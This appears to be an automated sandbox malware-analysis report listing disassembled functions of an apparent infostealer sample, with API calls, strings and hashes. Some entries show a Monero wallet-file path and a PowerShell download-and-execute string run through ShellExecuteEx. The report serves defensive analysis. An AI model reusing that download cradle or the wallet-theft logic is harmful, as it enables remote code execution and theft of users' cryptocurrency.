Instruction Fuzzy Hash: FB014FB5A04204BBFB01DBE4EC49F6AB7BCEB58701F104455FE04E72A1E6749908AF61

Function 00357720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00357734
RtlAllocateHeap.NTDLL(00000000), ref: 0035773B
RegOpenKeyExA.ADVAPI32(80000002,00FAC5E8,00000000,00020119,003576B9), ref: 0035775B
RegQueryValueExA.ADVAPI32(003576B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0035777A
RegCloseKey.ADVAPI32(003576B9), ref: 00357784

Strings

CurrentBuildNumber, xrefs: 00357771

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: b41a6062840ef8c461ef20ee3b6ffccc27b4107d788ee349a3904e28392aaf8e
Instruction ID: 646d133466b63d659c529316b03f6276edb238f33e1f64e9b1c784a0c6c1cccc
Opcode Fuzzy Hash: b41a6062840ef8c461ef20ee3b6ffccc27b4107d788ee349a3904e28392aaf8e
Instruction Fuzzy Hash: 6E01FFB5A40308BBFB00DBE4DC4AFAEB7B8EB58701F104559FE05B7291DA745A049F61

Function 003592E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:5,80000000,00000003,00000000,00000003,00000080,00000000,?,00353AEE,?), ref: 003592FC
GetFileSizeEx.KERNEL32(000000FF,:5), ref: 00359319
CloseHandle.KERNEL32(000000FF), ref: 00359327

Strings

:5, xrefs: 003592F8, 003592FB
:5, xrefs: 00359311, 0035933D, 00359314

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :5$:5
API String ID: 1378416451-989784648
Opcode ID: a14b1eae711fc9596eea1b310c534e8c94085783a0d89232bdd5d6586a38e479
Instruction ID: 7fb11afad48c1e78ad66bd5cc91ec50d5011fd5ea7ea1ab3ff5b630a82d2f361
Opcode Fuzzy Hash: a14b1eae711fc9596eea1b310c534e8c94085783a0d89232bdd5d6586a38e479
Instruction Fuzzy Hash: 07F08C38E00208FBEB10DBB0DC08F9E77B9EB58311F108255BA51A72D0E6709604AB40

Function 003499C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003499EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00349A11
LocalAlloc.KERNEL32(00000040,?), ref: 00349A31
ReadFile.KERNEL32(000000FF,?,00000000,0034148F,00000000), ref: 00349A5A
LocalFree.KERNEL32(0034148F), ref: 00349A90
CloseHandle.KERNEL32(000000FF), ref: 00349A9A

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4d11d4d0357823d2ab5efa644493c736a2c2bd30601dcd303e5806e0c1a6e87e
Instruction ID: 3e49d0057a4146cdc5570851fe0a286c16b39f9ba38fce7fba9f1a6df771523a
Opcode Fuzzy Hash: 4d11d4d0357823d2ab5efa644493c736a2c2bd30601dcd303e5806e0c1a6e87e
Instruction Fuzzy Hash: 87314BB4A00209EFDB15CF94C885FAE77F9FF48300F108159E901AB290D778AA45DFA1

Function 00354780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00FBE1A8), ref: 003547DB

Part of subcall function 00358DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00358E0B

lstrcat.KERNEL32(?,00000000), ref: 00354801
lstrcat.KERNEL32(?,?), ref: 00354820
lstrcat.KERNEL32(?,?), ref: 00354834
lstrcat.KERNEL32(?,00FABB88), ref: 00354847
lstrcat.KERNEL32(?,?), ref: 0035485B
lstrcat.KERNEL32(?,00FBDC80), ref: 0035486F

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 00358D90: GetFileAttributesA.KERNEL32(00000000,?,00341B54,?,?,0036564C,?,?,00360E1F), ref: 00358D9F

Part of subcall function 00354570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00354580
Part of subcall function 00354570: RtlAllocateHeap.NTDLL(00000000), ref: 00354587
Part of subcall function 00354570: wsprintfA.USER32 ref: 003545A6
Part of subcall function 00354570: FindFirstFileA.KERNEL32(?,?), ref: 003545BD

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: dfab7dab88762295ba5940909ecb7aeef30f3a3d70ed09576b52c25390e0f14c
Instruction ID: 6d52ff76d37b53a67a2940aebf1bf5ec090f40a33e5bdfc5afd630c6b745e609
Opcode Fuzzy Hash: dfab7dab88762295ba5940909ecb7aeef30f3a3d70ed09576b52c25390e0f14c
Instruction Fuzzy Hash: C93184B290020857DB16FBB0DC85EED737CAB58701F404589BB15BA091EE74978DCFA1

Function 00352C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

ShellExecuteEx.SHELL32(0000003C), ref: 00352D85

Strings

')", xrefs: 00352CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00352CC4
<, xrefs: 00352D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00352D04

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: a503b41167eabcec084f419f77911b2b7f997a948487a2049dc469897329b8ef
Instruction ID: fdafc9847205e704d93a3106addc794f2038b6092816a6062b4930509daa4656
Opcode Fuzzy Hash: a503b41167eabcec084f419f77911b2b7f997a948487a2049dc469897329b8ef
Instruction Fuzzy Hash: D641B271C106089ADB1AEBA0C892FDDBB74BF14301F404119E916BA1A5EF746A4EEF91

Function 00349E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00349F41

Part of subcall function 0035A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0035A7E6

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Strings

v20, xrefs: 00349E21
v10, xrefs: 00349EA3
ERROR_RUN_EXTRACTOR, xrefs: 00349E67
@, xrefs: 00349EF1

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: a43ebf237933e90fd5b27927101d8861a407174059ccec8c98d82a9840674c28
Instruction ID: 1c768fd37a90edb81bc1f085ad5e195f7fe788891696038b1941b971aaed626d
Opcode Fuzzy Hash: a43ebf237933e90fd5b27927101d8861a407174059ccec8c98d82a9840674c28
Instruction Fuzzy Hash: 1B615070A10648EFDB25EFA4CC96FEE77B9AF44300F008118F90A5F195EB706A49DB52

Function 003540B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00FBDD40,00000000,00020119,?), ref: 003540F4
RegQueryValueExA.ADVAPI32(?,00FBE268,00000000,00000000,00000000,000000FF), ref: 00354118
RegCloseKey.ADVAPI32(?), ref: 00354122
lstrcat.KERNEL32(?,00000000), ref: 00354147
lstrcat.KERNEL32(?,00FBE280), ref: 0035415B

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: b65a029a860e1c3caefa1cc27068e4cbd3341ba6a3ae39cf8d915cd442541485
Instruction ID: 660817587544a4cfa4a1c82c69960a6a0fe0a2e9683cdc74fb0cf50b39effc6c
Opcode Fuzzy Hash: b65a029a860e1c3caefa1cc27068e4cbd3341ba6a3ae39cf8d915cd442541485
Instruction Fuzzy Hash: 8041CCB6D001086BEB15EBA0DC46FFD737DA798300F004559BF156B191EA755B8C8BD2

Function 00357E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00357E37
RtlAllocateHeap.NTDLL(00000000), ref: 00357E3E
RegOpenKeyExA.ADVAPI32(80000002,00FAC380,00000000,00020119,?), ref: 00357E5E
RegQueryValueExA.ADVAPI32(?,00FBDB40,00000000,00000000,000000FF,000000FF), ref: 00357E7F
RegCloseKey.ADVAPI32(?), ref: 00357E92

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: dda9cb27b4c8513b70f4b7c0fc4ed869ef146fb3369ed2c6ce76d4949e3573ae
Instruction ID: 38aa2d2837a1247cfd1439d7271eefffb1cf5691b50c57322996df3599613793
Opcode Fuzzy Hash: dda9cb27b4c8513b70f4b7c0fc4ed869ef146fb3369ed2c6ce76d4949e3573ae
Instruction Fuzzy Hash: 04115EB1A44205EBEB14CF94ED4AFBBBBBCEB04B11F10415AFE05B7690D77458089BA1

Function 00359260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00FBDFF8,?,?,?,0035140C,?,00FBDFF8,00000000), ref: 0035926C
lstrcpyn.KERNEL32(0058AB88,00FBDFF8,00FBDFF8,?,0035140C,?,00FBDFF8), ref: 00359290
lstrlen.KERNEL32(?,?,0035140C,?,00FBDFF8), ref: 003592A7
wsprintfA.USER32 ref: 003592C7

Strings

%s%s, xrefs: 003592B5

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: dca9c0b5466907e77fcf895fb58021ccea2c26737915cea6ed69f37a49dc8115
Instruction ID: f6db61dc3d8a2ece464cc997520428bd8c82e72d4e2ff1ef0666c3f41e4dbfac
Opcode Fuzzy Hash: dca9c0b5466907e77fcf895fb58021ccea2c26737915cea6ed69f37a49dc8115
Instruction Fuzzy Hash: 3D01E575500208FFDB04DFE8C989EAE7BB9EB48391F108549FD09AB204C631EA44EB91

Function 003412A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003412B4
RtlAllocateHeap.NTDLL(00000000), ref: 003412BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003412D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003412F5
RegCloseKey.ADVAPI32(?), ref: 003412FF

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 263cabebc37dfa5a62d0f570fc77d643f1863c0bab09f675c6e3dd5ee605689a
Instruction ID: 39670efc6b9468fc9d4759eb28d16fd2ec416dac2ccdaf0acbdafa9cebdac5c4
Opcode Fuzzy Hash: 263cabebc37dfa5a62d0f570fc77d643f1863c0bab09f675c6e3dd5ee605689a
Instruction Fuzzy Hash: 8B0136B5A40208BBEB00DFD0DC49FAEB7B8EB48701F008155FE05E7280D6749A059F51

Function 0035C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0035C8EC
___crtLCMapStringA.LIBCMT ref: 0035C90C
___crtLCMapStringA.LIBCMT ref: 0035C931

Strings

, xrefs: 0035C896

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
